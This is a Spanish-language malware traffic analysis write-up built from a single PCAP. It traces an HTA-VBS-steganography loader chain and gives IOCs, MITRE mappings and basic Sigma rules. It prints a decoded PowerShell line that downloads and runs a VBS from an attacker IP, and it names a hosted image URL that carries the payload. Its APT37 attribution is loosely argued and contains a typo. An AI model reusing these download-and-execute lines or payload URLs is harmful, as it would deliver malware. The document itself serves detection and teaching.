
CVE-2017-0199 XLS --> HTA --> VBS --> STEGANOGRAPHY --> DBATLOADER/GULOADER STYLE MALWARE
Análisis basado en PCAP | Fecha: 2025-03-12 | Autor: BlackOclock
14.1 Resumen de la Cadena de Ataque Completa
14.2 Indicadores de Compromiso (IPs, Hashes, Dominios)
14.3 Recomendaciones
¡¡¡NOTA!!! En este análisis, ¡SOLO se usó el archivo PCAP! No se necesitaron archivos ZIP;
##1. VISIÓN GENERAL DEL ANÁLISIS

Forma 1: archivos fuente descargados de malware-traffic-analysis.net - Se usó SOLO el archivo PCAP\
2025-01-09 (JUEVES): CVE-2017-0199 XLS --> HTA --> VBS --> ESTEGANOGRAFÍA --> MALWARE ESTILO DBATLOADER/GULOADER
##2. ANÁLISIS DEL TRÁFICO DE RED
2.1-Jerarquía de Protocolos – Visión General

Comencé con la Jerarquía de Protocolos para obtener una visión general del tráfico. Esto muestra el volumen de cada protocolo utilizado. Como se muestra en la figura, TLS representa el 82,4% de todo el tráfico. Además, también están presentes datos de Media Line y Line-Based. Sin embargo, para comprender mejor la actividad de la red, necesitamos examinar Conversaciones y Endpoints.
2.2-Conversaciones – Principales Comunicaciones y Transferencia de Datos

Usamos Conversaciones para detectar pares de IP que tienen la mayor transferencia de datos entre sí. El análisis muestra que 10.9.1.101 (host) y 104.17.201.1 tienen el mayor volumen de tráfico. Se usaron los puertos 80 y 443 para esta transferencia de datos. Además, vemos que se transfirieron 3 MB de datos a 10.9.1.101 (host) desde 104.17.201.1. Otro hallazgo crítico es la conexión en el puerto 21 debido a la conexión desde la IP WAN (89.39.83.184), lo que sugiere una posible exfiltración. Pero no estamos seguros ahora, porque aún no lo sabemos. Necesitamos una prueba.
2.3- Endpoints

Usamos Endpoints para identificar los principales interlocutores en la red. 104.17.201.1 tiene 3MB de datos transmitidos (Tx) y también 10.9.1.101 tiene 3MB de datos recibidos (Rx). Además, los principales interlocutores son 104.17.201.1 como origen y 10.9.1.101 como destino.
2.4- Objetos de Exportación HTTP

La exportación se utiliza para identificar archivos, datos, correos electrónicos, etc. transferidos a través de la red. Cada vez que analizamos un pcap, debemos revisar aquí para ver qué paquetes contienen qué datos. Bueno, notamos los paquetes 88, 132, 2457 y 2468.
2.5- Filtro HTTP Contains

Si hay protocolos http en la red. Deberíamos verificar png, zip, jpg, jpeg (Esteganografía) como un medio en el filtro, porque los atacantes suelen usar códigos maliciosos en archivos multimedia para evadir la detección del antivirus.
#Ejemplo: http contains ".png" o http contains ".jpg" o http contains ".jpeg" o http contains ".zip"
Solo estamos viendo por qué este filtro es importante cuando se usa el puerto 80 en la red. Aquí hay un .hta que se envió en archivos multimedia en el paquete 47. Pero cuando usamos exportación para identificar archivos, no estaba.
##3. ANÁLISIS CON NETWORKMINER

Podemos usar networkminer para identificar más rápido en PCAP. Si usas REMnux o sistema Linux, puedes escribir en la terminal (networkminer pcap_name )
Frame = 47 Nombre de archivo = seemebestthingsevermeetgivenbestthingsfornewways | Extensión = .hta | Tamaño = 47 KB | IP Origen = 192.3.27.144 Frame = 132 | Nombre de archivo = comonstraints | Extensión = .vbs | Tamaño = 223 KB | IP Origen = 107.172.31.5 Frame = 2457 | Nombre de archivo = foeMMBIG | Extensión = .txt | Tamaño = 325 KB | IP Origen = 107.172.31.5

Hashes JA3:
06843d66057fc9cbe42e9d690308903 (Frame 8)62136a81b5b727d039d8160d188863aa (Frame 14)3c4eb72b882d4d1442c67ce73f1292a9 (Frame 140)Huellas JA4:
t13d1516h2_8daaf6152771_02713d6af862t13d201000_2b729b4bf63_29829a46703fBueno, pero ¿por qué necesitamos hashes JA4 y JA3? Puede haber una pregunta: ¿qué son JA3 y JA4?
Déjame explicar; JA3 y JA4 son técnicas utilizadas para identificar la huella digital de clientes y servidores TLS basándose en los parámetros del handshake TLS. JA3 crea un hash MD5 del paquete de saludo del cliente del handshake TLS, identificando de manera única la aplicación cliente (por ejemplo, navegador, malware).
JA4 es una técnica más nueva. Es como una huella digital para el tráfico de Internet. Así como los humanos tienen huellas digitales únicas, cada software que se conecta a Internet deja una marca única. Más útil para encontrar el servidor C2.
##4. ANÁLISIS DE REGISTROS ZEEK (ZUI)
Se utilizaron registros de Zeek para verificar los archivos extraídos del tráfico HTTP. El files.log muestra las siguientes entradas:
Estos hashes se usaron posteriormente para consultas en VirusTotal.

Hta (seemebestthing…)
MD5 e90ae8ec16ea2056caaa64ac13a31373 SHA1 8041abda3769b97d8e8b980c6a77fcd2829d715 SHA256 df215a01f6a83014a148c6e407cdc8422e9119a88b4220a1321b2986ea9aef63

MD5 3f691c4d5e1b53d16964d30e35863f77 SHA1 9ade8197b6f8828f384d5431a1d3a1b00e162782 SHA256 a666a99f2056082802f4597f180f891582a527324a16d34b4755ed63e5467882

MD5 9409dc8763c7d40af120ad693545ef98 SHA1 bec5f3f43449189ebf5dadf314288acace4828d7 SHA256 018648727f760e361eb4efa7f955a7815a197224c23016b321ab954767b45b82
##5. ARCHIVOS EXTRAÍDOS Y ANÁLISIS ESTÁTICO
Aquí exportaremos todos los archivos del pcap al escritorio y los analizaremos con binwalk

El archivo HTA parece limpio. No pude encontrar ningún dato oculto. Parece un archivo de texto normal.
El archivo VBS es diferente. Encontré dos cosas dentro:
Algunos datos en Base64 y un documento HTML Esto significa que el archivo VBS tiene múltiples capas. El atacante intentó ocultar código dentro.
El archivo TXT me dio una salida extraña. Dice "Broadcom header", lo cual no tiene sentido para un archivo de texto. Quizás el archivo está dañado, o hay otra capa dentro. Necesito ejecutarlo en un sandbox para entender más
##6. TRIAGE Y ANÁLISIS DE COMPORTAMIENTO
Ejecuté el archivo HTA en un sandbox. Esto es lo que sucedió:

Tenemos el resultado de hta. Puntuación 8/10 por Triage.

Cadena de procesos con 5 pasos: mshta.exe (PID 1080) se inició Lanzó cmd.exe (4952) cmd.exe lanzó powershell.exe (4424) PowerShell habilitó SeDebugPrivilege (para acceder a otros procesos) Se usó WriteProcessMemory varias veces para inyección de código
Cadena de inyección:
mshta.exe (1080) → cmd.exe (4952) → powershell.exe (4424) → csc.exe (4432) → proceso desconocido (3332)
PowerShell también verificó procesos en ejecución (descubrimiento) y miró el idioma del sistema (probablemente para evitar sandboxes).
Técnicas MITRE que vi para hta:
T1059.001 (PowerShell) T1059.003 (cmd) T1057 (descubrimiento de procesos) T1134 (manipulación de tokens) T1055 (inyección de procesos) T1614.001 (detección de idioma)

Bien, vemos aquí FromString64Base en el comando de PowerShell mediante cmd.exe. Tenemos que decodificarlo en CyberChef para ver el código en base64.

En el comando de PowerShell, encontré una cadena Base64. Después de decodificarla con CyberChef, vi esto:
URLDownloadToFile(0, "http://107.172.31.5/comonstraints.vbs", "...", 0, 0) Start-Sleep(3) Invoke-Expression "..."
Entonces significa que, desde 107.172.31.5 descarga comonstraints.vbs y espera 3 segundos y lo ejecuta. Bueno, en el siguiente paso se descargará comonstraints.vbs.

Tenemos el resultado de vbs. Puntuación 10/10 por Triage.
Cadena de procesos: Wscript.exe se ejecutó y lanzó PowerShell.exe
Bueno, en la imagen si revisamos los códigos en el proceso. Podemos ver #x#.GIBMMeof/5.13.271.701//:p##h ----> Hay una ruta codificada. http://107.172.31.5/foeMMBIG.txt (que se vio en la exportación del PCAP)
y también este sitio https://res.cloudinary.com/dnkr4s5yg/image/upload/v1735420882/givvuo2katk3jnggipgn.jpg, que tiene código malicioso dentro del jpg. El JPG tiene etiquetas <BASE64_START> y <BASE64_END>. Entre ellas, significa que hay código oculto. El texto oculto es en realidad Base64 pero escrito al revés. El script primero lo invierte, luego lo decodifica. Después de decodificarlo, se convierte en un pequeño programa (ensamblado .NET) y se ejecuta en la computadora.
Intenté descargar el jpg.

Pero no pude obtenerlo. Quizás esta dirección fue cerrada. El archivo VBS descarga una imagen, encuentra código oculto dentro, lo corrige y lo ejecuta. Esto se llama esteganografía: ocultar cosas dentro de imágenes.
Técnicas MITRE:
T1012 - Consultar el Registro T1082 - Descubrimiento de Información del Sistema T1055 - Inyección de Procesos T1057 – Descubrimiento de Procesos T1134 – Manipulación de Tokens de Acceso

-El archivo se abrió con Notepad.exe (PID 4600)
Esto confirma que foeMMBIG.txt es en realidad un dropper de ransomware.
Técnicas MITRE:
##7. ANÁLISIS DE INYECCIÓN DE PROCESOS
7.1 Árbol de Procesos
mshta.exe (1080) → cmd.exe (4952) → powershell.exe (4424) → csc.exe (4432) → Notepad.exe (4600)
7.2 Eventos WriteProcessMemory
PID 1080 (mshta.exe) escribió en PID 4952 (cmd.exe) PID 4952 (cmd.exe) escribió en PID 4424 (powershell.exe) PID 4424 (powershell.exe) escribió en PID 4432 (csc.exe) PID 4432 (csc.exe) escribió en PID 3332 (desconocido)
7.3 Manipulación de Tokens
PowerShell (PID 4424) habilitó SeDebugPrivilege, permitiéndole acceder a otros procesos.
##8. ANÁLISIS DE VOLCADOS DE MEMORIA
Cuando el malware se ejecutó, el sandbox tomó instantáneas de memoria de PowerShell (PID 4424). Estas instantáneas guardan lo que había en la RAM de la computadora en ese momento.
Encontré más de 20 archivos de volcado de memoria

El archivo VBS (ejecutado por WScript.exe, PID 1184) también creó volcados de memoria. Estos volcados tienen mayormente un tamaño de 64 KB. Esto es normal para asignaciones pequeñas. Pero busqué volcados de memoria de Notepad.exe (PID 4600), pero no había ninguno. Esto es interesante porque sabemos que Notepad se usó para abrir foeMMBIG.txt.
##9. DETECCIÓN DE C2 Y HUELLA DIGITAL

Solo se imprimió Jarm desde 2 IPs
Extraje huellas JA4 de NetworkMiner y las busqué en GreyNoise. Encontré 26 IPs marcadas como maliciosas con la misma huella JA4. Luego busqué todas estas IPs en Shodan para verificar sus puertos y servicios abiertos.
Esta lista se creó verificando GreyNoise, y estas IPs están marcadas como maliciosas en GreyNoise:
34.122.147.229 ( Intentos de inicio de sesión por fuerza bruta en aplicaciones web - según fuente Guardpot - hace 7 meses Esta IP estuvo involucrada en 1222 eventos en 2 tipos de ataque distintos. Ataques: tcp-portscan (1177), fortinet-login (45). Primera vez visto: 2024-05-07 23:10 UTC, Última vez visto: 2025-07-17 17:28 UTC. 3/94 proveedores de seguridad marcaron esta dirección IP como maliciosa. No después de: 2020-11-30 22:10:40 )
107.189.1.175 - resultado de shodan C: Luxemburgo Org : Buy VM Puertos abiertos: 80 / 443 / 9001 / 9030
104.197.69.115( Intentos de inicio de sesión por fuerza bruta en aplicaciones web - según fuente Guardpot - hace 5 meses Esta IP estuvo involucrada en 1159 eventos en 2 tipos de ataque distintos. Ataques: tcp-portscan (1124), fortinet-login (35). Primera vez visto: 2024-07-11 04:26 UTC, Última vez visto: 2025-09-25 12:08 UTC. 4/94 proveedores de seguridad marcaron esta dirección IP como maliciosa )
34.72.176.129 ( Intentos de inicio de sesión por fuerza bruta en aplicaciones web - según fuente Guardpot - hace 5 meses
Esta IP estuvo involucrada en 1233 eventos en 2 tipos de ataque distintos. Ataques: tcp-portscan (1201), fortinet-login (32). Primera vez visto: 2024-07-11 04:26 UTC, Última vez visto: 2025-09-25 12:12 UTC.
Encuentre más información en CrowdSec CTI - según fuente CrowdSec - hace 1 año
Comportamientos: Intento de explotación / HTTP Bruteforce / HTTP Crawl + 2 más. Detalles completos en CrowdSec CTI
6/94 proveedores de seguridad marcaron esta dirección IP como maliciosa
34.123.170.104 ( Intentos de inicio de sesión por fuerza bruta en aplicaciones web - según fuente Guardpot - hace 1 mes Esta IP estuvo involucrada en 1141 eventos en 3 tipos de ataque distintos. Ataques: tcp-portscan (1097), fortinet-login (42), web-login (2). Primera vez visto: 2024-05-23 14:07 UTC, Última vez visto: 2026-01-26 05:22 UTC. Encuentre más información en CrowdSec CTI - según fuente CrowdSec - hace 1 año Comportamientos: HTTP Crawl / HTTP DoS / HTTP Exploit + 1 más. Detalles completos en CrowdSec CTI ) 3/94 proveedores de seguridad marcaron esta dirección IP como maliciosa
121.127.42.69 ( 3/94 proveedores de seguridad marcaron esta dirección IP como maliciosa)
185.220.101.2 resultado de shodan ( Nombres de host:berlin01.tor-exit.artikel10.org País : Alemania Organización: Artikel10 e.V. ISP : Stiftung Erneuerbare Freiheit (Es TOR) Puertos : 80/443/9001/9002
185.220.101.162 ( Nombres de host: tor-exit-162.relayon.org País : Alemania / Organización:CIA TRIAD SECURITY LLC ISP : Stiftung Erneuerbare Freiheit)
205.169.39.24 Escaneo de puertos de red y reconocimiento - según fuente Guardpot - hace 8 meses Esta IP estuvo involucrada en 86 eventos en 1 tipo de ataque distinto. Ataques: tcp-portscan (86). Primera vez visto: 2024-08-22 22:29 UTC, Última vez visto: 2025-07-04 17:29 UTC.
47.254.76.66 ( Proveedor de nube : Alibaba Cloud País : EE.UU. puertos abiertos : 22 Sistema operativo : Linux
47.251.118.89 (Proveedor de nube : Alibaba Cloud País : EE.UU. puertos abiertos : 22 Sistema operativo : Linux)
107.189.12.7( Nombres de host : tor.privatebrowsing.org País Luxemburgo puertos abiertos: 80)
47.88.18.245 ( País EE.UU. SO: Linux puerto abierto : 22)
79.127.248.2 ( 4/94 proveedores de seguridad marcaron esta dirección IP como maliciosa País EE.UU.)
185.126.82.201( País : EE.UU. puerto : 1080)
45.92.19.139 (País : EE.UU. puerto : 59511)
47.251.186.126( País : EE.UU. puerto : 22)
79.127.221.66 (País : EE.UU. puerto : 1080)
185.241.208.136 ( País: Polonia Nombres de host ns2.rdp.rs puertos abiertos : 111/8440/9001)
47.89.246.29 ( País : EE.UU. puerto : 22)
185.220.101.110 ( Nombres de host: tor-exit-110.digitalcourage.de puertos abiertos : 80/123/443/8080)
5.77.252.202 ( Nombres de host :host-202.252.77.5.ucom.am País : Armenia puertos abiertos : 1701/8291)
124.198.132.172(Tor) ( País : EE.UU. puertos abiertos : 111/8110/9001)
185.220.101.9 (Tor) ( Nombre de host : berlin01.tor-exit.artikel10.org País : Polonia puertos abiertos : 80/443/9001/9002)
213.230.93.13 ( 4/94 proveedores de seguridad marcaron esta dirección IP como maliciosa País : Uzbekistán)
138.199.140.203 ( nombre de host :static.203.140.199.138.clients.your-server.de País : Alemania Puertos abiertos : 22 / 8080 / 8443 / 9090/ 9100 / 10000 / 10250)
##10. ANÁLISIS DE EXFILTRACIÓN
Cuando verificamos 89.39.83.184, vemos que esa IP se conecta en el puerto 21 con el host. Si hacemos clic en uno de los paquetes en 21 ftp y Seguir --- > FLUJO TCP, vemos el correo electrónico y la contraseña del atacante

Cuando revisamos los archivos en networkminer, había números de paquete 2498(PW_user1_DESKTOP.html) y 2516(Contacts_Thunder.txt). Después de exportar esos archivos, hay información de nombre de usuario y contraseña para ataque de phishing (supongo) o robo de cuentas.

Busqué la IP del servidor FTP (89.39.83.184) en Shodan para aprender más sobre la infraestructura del atacante.

##12. INTELIGENCIA DE AMENAZAS
12.1 Resultados de VirusTotal y MalwareBazaar
Los hashes obtenidos de los registros de Zeek (Sección 4) se verificaron en VirusTotal y MalwareBazaar. Todos los archivos fueron confirmados como maliciosos:
Archivo HTA: 33/61 detección, identificado como AgentTesla Archivo VBS: 31/62 detección, identificado como AgentTesla / Talu Archivo TXT: 25/62 detección, identificado como Zapchast / Bhgd (dropper de ransomware)
Vea la Sección 14.2 para la lista completa de hashes.
12.2 Mapeo MITRE ATT&CK
T1059.001 - PowerShell T1059.003 - cmd T1134 - manipulación de tokens T1614.001 - detección de idioma T1012 - Consultar el Registro T1082 - Descubrimiento de Información del Sistema T1055 - Inyección de Procesos T1057 – Descubrimiento de Procesos
12.3 Correlación con APT37 (ScarCruft)
¿Por qué este ataque se parece a APT37?
Lo que vimos en este ataque - APT37 es conocido por Archivo HTA usado para iniciar la infección - APT37 usa mucho archivos HTA PowerShell con comandos base64 - APT37 ama PowerShell Esteganografía (JPG con código oculto) - APT37 oculta código en imágenes Inyección de procesos (mshta → cmd → powershell → csc) - APT37 inyecta código en procesos confiables Exfiltración por FTP de datos robados - APT67 roba credenciales y archivos Ransomware al final - APT37 ahora también usa ransomware Objetivos quizás en Europa - APT37 está activo en Europa Conclusión Las técnicas que vimos en este ataque coinciden con lo que APT37 suele hacer. No es una prueba 100%, pero parece APT37. Probablemente un grupo de hackers norcoreano está detrás de esto.
##13. INGENIERÍA DE DETECCIÓN
title: SeDebugPrivilege en PowerShell description: Detecta PowerShell habilitando SeDebugPrivilege (posible manipulación de tokens) logsource: category: process_creation product: windows detection: selection: Image|endswith: '\powershell.exe' CommandLine|contains: 'SeDebugPrivilege' condition: selection
title: Exfiltración por FTP description: Detecta conexiones FTP desde procesos que no deberían usar FTP logsource: category: network_connection product: windows detection: selection: Image|endswith: - '\powershell.exe' - '\cmd.exe' - '\wscript.exe' DestinationPort: 21 condition: selectiontitle: PowerShell Download description: Detecta PowerShell descargando archivos de internet logsource: category: process_creation product: windows detection: selection: Image|endswith: '\powershell.exe' CommandLine|contains|all: - 'URLDownloadToFile' - 'http' condition: selection
title: Notepad from Temp description: Detecta Notepad abriendo archivos desde la carpeta Temp (posible inyección de procesos) logsource: category: process_creation product: windows detection: selection: Image|endswith: '\notepad.exe' CommandLine|contains: '\Temp' condition: selection
¡NOTA! Sé que esto es básico, pero solo estoy intentando aprender reglas Sigma.
##14. CONCLUSIÓN Y IOCs
14.1 Resumen de la cadena de ataque completa
La infección comenzó con un archivo HTA malicioso descargado desde 192.3.27.144. Al abrirlo, se lanzó una cadena de procesos:
mshta.exe → cmd.exe → powershell.exe → csc.exe → Notepad.exe
Hallazgos clave:
<BASE64_START> y <BASE64_END>.
El script extrajo estos datos, los invirtió y los decodificó en un ensamblado .NET. Este ensamblado se cargó en memoria y se ejecutó. Aunque no pudimos descargar el JPG (error 401), el código sugiere firmemente que este fue el mecanismo que descargó la carga útil final (foeMMBIG.txt).Actor de amenaza: APT37 – las técnicas coinciden con TTPs conocidas
14.2 Indicadores de compromiso
Direcciones IP:
IP = 107.172.31.5 | Rol = Servidor C2 (descarga de VBS, TXT) IP = 89.39.83.184 | Rol = Servidor de exfiltración FTP IP = 192.3.27.144 | Rol = Fuente de descarga HTA IP = 104.17.201.1 | Rol = Descarga de primera etapa (3 MB) 25 IPs maliciosas de GreyNoise | Ver lista completa en la Sección 9.2
Dominios:
Domain = res.cloudinary.com Rol= Esteganografía (JPG con código oculto) Domain = ip-api.com Filename= index.B23BDC8E.txt(false) Rol = Evasión de sandbox
Hashes de archivos:
(seemebestthing…).hta MD5 e90ae8ec16ea2056caaa64ac13a31373 SHA1 8041abda3769b97d8e8b980c6a77fcd2829d715 SHA256 df215a01f6a83014a148c6e407cdc8422e9119a88b4220a1321b2986ea9aef63
comostraints.vbs MD5 3f691c4d5e1b53d16964d30e35863f77 SHA1 9ade8197b6f8828f384d5431a1d3a1b00e162782 SHA256 a666a99f2056082802f4597f180f891582a527324a16d34b4755ed63e5467882
foeMMBIG.txt MD5 9409dc8763c7d40af120ad693545ef98 SHA1 bec5f3f43449189ebf5dadf314288acace4828d7 SHA256 018648727f760e361eb4efa7f955a7815a197224c23016b321ab954767b45b82
Credenciales FTP:
14.3 Recomendaciones